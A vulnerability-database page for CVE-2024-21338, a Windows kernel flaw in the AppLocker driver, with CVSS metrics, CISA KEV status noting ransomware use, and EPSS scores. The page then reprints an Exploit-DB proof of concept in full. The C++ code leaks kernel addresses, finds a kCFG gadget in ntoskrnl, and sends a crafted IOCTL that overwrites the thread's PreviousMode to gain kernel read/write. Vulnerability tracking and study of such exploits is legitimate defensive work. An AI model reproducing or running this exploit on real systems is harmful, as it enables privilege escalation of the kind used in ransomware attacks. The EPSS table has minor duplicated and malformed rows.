CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Untrusted Pointer Dereference The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Exploit Code Maturity
This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.
Functional
Functional exploit code is available. The code works in most situations where the vulnerability exists.
Remediation Level
The Remediation Level of a vulnerability is an important factor for prioritization.
Official fix
A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.
Report Confidence
This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.
Confirmed
Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
secure@microsoft.com
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability
Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Known To Be Used in Ransomware Campaigns : Known
Added : 2024-03-03 23h00 +00:00
Action is due : 2024-03-24 23h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2024-02-18
–
–
–
0.04%
–
2024-02-25
–
–
–
0.05%
–
2024-03-03
–
–
–
0.05%
–
2024-03-10
–
–
–
0.08%
–
2024-03-17
–
–
–
0.11%
–
2024-06-02
–
–
–
1.43%
–
2024-10-13
–
–
–
0.05%
–
2024-11-03
–
–
–
0.1%
–
2024-11-17
–
–
–
0.07%
–
2024-12-15
–
–
–
0.1%
–
2024-12-22
–
–
–
0.16%
–
2025-01-19
–
–
–
0.18%
–
2025-02-09
–
–
–
0.18%
–
2025-02-23
–
–
–
0.17%
–
2025-01-19
–
–
–
0.18%
–
2025-02-16
–
–
–
0.18%
–
2025-02-23
–
–
–
0.17%
–
2025-03-18
–
–
–
–
76.06%
2025-03-30
–
–
–
–
74.8%
2025-04-08
–
–
–
–
73.12%
2025-04-15
–
–
–
–
62.67%
2025-04-22
–
–
–
–
61.93%
2025-04-22
–
–
–
–
61.93,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2025-04-21 22h00 +00:00 Author : Milad karimi EDB Verified : No
# Exploit Title: Microsoft Windows 11 - Kernel Privilege Escalation
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2024-21338
#include "pch.hpp"
#include "poc.hpp"
// This function is used to set the IOCTL buffer depending on the Windows
version
void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*
os_info)
{
os_info->dwOSVersionInfoSize = sizeof(*os_info);
// Get the OS version
NTSTATUS status = RtlGetVersion(os_info);
if (!NT_SUCCESS(status)) {
log_err("Failed to get OS version!");
return nullptr;
}
log_debug("Windows version detected: %lu.%lu, build: %lu.",
os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);
// "PreviousMode" offset in ETHREAD structure
*k_thread_offset = 0x232;
// Set the "AipSmartHashImageFile" function buffer depending on the
Windows version
void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))
: malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));
return ioctl_buffer_alloc;
}
// This function is used to get the ETHREAD address through the
SystemHandleInformation method that is used to get the address of the
current thread object based on the pseudo handle -2
UINT_PTR c_poc::get_ethread_address()
{
// Duplicate the pseudo handle -2 to get the current thread object
HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);
HANDLE h_duplicated_handle = {};
if (!DuplicateHandle(
reinterpret_cast<HANDLE>(-1),
h_current_thread_pseudo,
reinterpret_cast<HANDLE>(-1),
&h_duplicated_handle,
NULL,
FALSE,
DUPLICATE_SAME_ACCESS))
{
log_err("Failed to duplicate handle, error: %lu", GetLastError());
return EXIT_FAILURE;
}
NTSTATUS status = {};
ULONG ul_bytes = {};
PSYSTEM_HANDLE_INFORMATION h_table_info = {};
// Get the current thread object address
while ((status = NtQuerySystemInformation(SystemHandleInformation,
h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (h_table_info != NULL)
h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));
else
h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));
}
UINT_PTR ptr_token_address = 0;
if (NT_SUCCESS(status)) {
for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
h_table_info->Handles[i].HandleValue ==
reinterpret_cast<USHORT>(h_duplicated_handle)) {
ptr_token_address =
reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
break;
}
}
}
else {
if (h_table_info) {
log_err("NtQuerySystemInformation failed, (code: 0x%X)", status);
NtClose(h_duplicated_handle);
}
}
return ptr_token_address;
}
// This function is used to get the FileObject address through the
SystemHandleInformation method that is used to get the address of the file
object.
UINT_PTR c_poc::get_file_object_address()
{
// Create a dummy file to get the file object address
HANDLE h_file = CreateFileW(L"C:\\Users\\Public\\example.txt",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (h_file == INVALID_HANDLE_VALUE) {
log_err("Failed to open dummy file, error: %lu", GetLastError());
return EXIT_FAILURE;
}
// Get the file object address
NTSTATUS status = {};
ULONG ul_bytes = 0;
PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;
while ((status = NtQuerySystemInformation(
SystemHandleInformation, h_table_info, ul_bytes,
&ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
if (h_table_info != NULL)
h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
else
h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
}
UINT_PTR token_address = 0;
if (NT_SUCCESS(status)) {
for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {
if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
h_table_info->Handles[i].HandleValue ==
reinterpret_cast<USHORT>(h_file)) {
token_address =
reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);
break;
}
}
}
return token_address;
}
// This function is used to get the kernel module address based on the
module name
UINT_PTR c_poc::get_kernel_module_address(const char* target_module)
{
// Get the kernel module address based on the module name
NTSTATUS status = {};
ULONG ul_bytes = {};
PSYSTEM_MODULE_INFORMATION h_table_info = {};
while ((status = NtQuerySystemInformation(
SystemModuleInformation, h_table_info, ul_bytes,
&ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {
if (h_table_info != NULL)
h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);
else
h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);
}
if (NT_SUCCESS(status)) {
for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {
if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {
return reinterpret_cast<UINT_PTR>(
h_table_info->Modules[i].ImageBaseAddress);
}
}
}
return 0;
}
// This function is used to scan the section for the pattern.
BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID
lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,
LPVOID* lp_found_address) {
std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);
SIZE_T bytes_read = {};
if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,
&bytes_read)) {
return false;
}
for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
if (memcmp(pattern, &buffer[i], pattern_size) == 0) {
*lp_found_address = reinterpret_cast<LPVOID>(
reinterpret_cast<DWORD_PTR>(lp_base_address) + i);
return true;
}
}
return false;
}
// This function is used to find the pattern in the module, in this case
the pattern is the nt!ExpProfileDelete function
UINT_PTR c_poc::find_pattern(HMODULE h_module)
{
UINT_PTR relative_offset = {};
auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);
auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);
auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);
LPVOID lp_found_address = nullptr;
for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {
if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), "PAGE") ==
0) {
LPVOID lp_section_base_address =
reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +
p_section_header[i].VirtualAddress);
SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;
// Pattern to nt!ExpProfileDelete
BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,
0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };
SIZE_T pattern_size = sizeof(pattern);
if (this->scan_section_for_pattern(
GetCurrentProcess(), lp_section_base_address, dw_section_size,
pattern, pattern_size, &lp_found_address)) {
relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) -
reinterpret_cast<UINT_PTR>(h_module);
}
break;
}
}
return relative_offset;
}
// This function is used to send the IOCTL request to the driver, in this
case the AppLocker driver through the AipSmartHashImageFile IOCTL
bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t
input_buffer_length)
{
IO_STATUS_BLOCK io_status = {};
NTSTATUS status =
NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,
this->IOCTL_AipSmartHashImageFile, input_buffer,
input_buffer_length, nullptr, 0);
return NT_SUCCESS(status);
}
// This function executes the exploit
bool c_poc::act() {
// Get the OS version, set the IOCTL buffer and open a handle to the
AppLocker driver
OSVERSIONINFOEXW os_info = {};
size_t offset_of_previous_mode = {};
auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode,
&os_info);
if (!ioctl_buffer) {
log_err("Failed to allocate the correct buffer to send on the IOCTL
request.");
return false;
}
// Open a handle to the AppLocker driver
OBJECT_ATTRIBUTES object_attributes = {};
UNICODE_STRING appid_device_name = {};
RtlInitUnicodeString(&appid_device_name, L"\\Device\\AppID");
InitializeObjectAttributes(&object_attributes, &appid_device_name,
OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);
IO_STATUS_BLOCK io_status = {};
HANDLE h_device = {};
NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,
&object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);
if (!NT_SUCCESS(status))
{
log_debug("Failed to open a handle to the AppLocker driver (%ls) (code:
0x%X)", appid_device_name.Buffer, status);
return false;
}
log_debug("AppLocker (AppId) handle opened: 0x%p", h_device);
log_debug("Leaking the current ETHREAD address.");
// Get the ETHREAD address, FileObject address, KernelBase address and the
relative offset of the nt!ExpProfileDelete function
auto e_thread_address = this->get_ethread_address();
auto file_obj_address = this->get_file_object_address();
auto ntoskrnl_kernel_base_address =
this->get_kernel_module_address("ntoskrnl.exe");
auto ntoskrnl_user_base_address =
LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, NULL);
if (!e_thread_address && !ntoskrnl_kernel_base_address &&
!ntoskrnl_user_base_address && !file_obj_address)
{
log_debug("Failed to fetch the ETHREAD/FileObject/KernelBase addresses.");
return false;
}
log_debug("ETHREAD address leaked: 0x%p", e_thread_address);
log_debug("Feching the ExpProfileDelete (user cfg gadget) address.");
auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);
UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +
relative_offset);
ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);
log_debug("Current ETHREAD PreviousMode address -> 0x%p", previous_mode);
log_debug("File object address -> 0x%p", file_obj_address);
log_debug("kCFG Kernel Base address -> 0x%p",
ntoskrnl_kernel_base_address);
log_debug("kCFG User Base address -> 0x%p", ntoskrnl_user_base_address);
log_debug("kCFG Gadget address -> 0x%p", kcfg_gadget_address);
// Set the IOCTL buffer depending on the Windows version
size_t ioctl_buffer_length = {};
CFG_FUNCTION_WRAPPER kcfg_function = {};
if (os_info.dwBuildNumber < 22000) {
AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;
kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
UINT_PTR previous_mode_obf = previous_mode + 0x30;
w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);
}
else
{
AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =
(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;
kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;
// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in
ObfDereferenceObjectWithTag
UINT_PTR previous_mode_obf = previous_mode + 0x30;
w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00
w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08
w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10
w11_ioctl_buffer->Unknown = NULL; // +0x18
ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);
}
// Send the IOCTL request to the driver
log_debug("Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)");
char* buffer = (char*)malloc(sizeof(CHAR));
if (ioctl_buffer)
{
log_debug("ioctl_buffer -> 0x%p size: %d", ioctl_buffer,
ioctl_buffer_length);
if (!this->send_ioctl_request(h_device, ioctl_buffer,
ioctl_buffer_length))
return false;
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,
(PVOID)previous_mode, sizeof(CHAR), nullptr);
log_debug("Current PreviousMode -> %d", *buffer);
// From now on all Read/Write operations will be done in Kernel Mode.
}
log_debug("Restoring...");
// Restores PreviousMode to 1 (user-mode).
*buffer = 1;
NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,
(PVOID)buffer, sizeof(CHAR), nullptr);
log_debug("Current PreviousMode -> %d", *buffer);
// Free the allocated memory and close the handle to the AppLocker driver
free(ioctl_buffer);
free(buffer);
NtClose(h_device);
return true;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.5458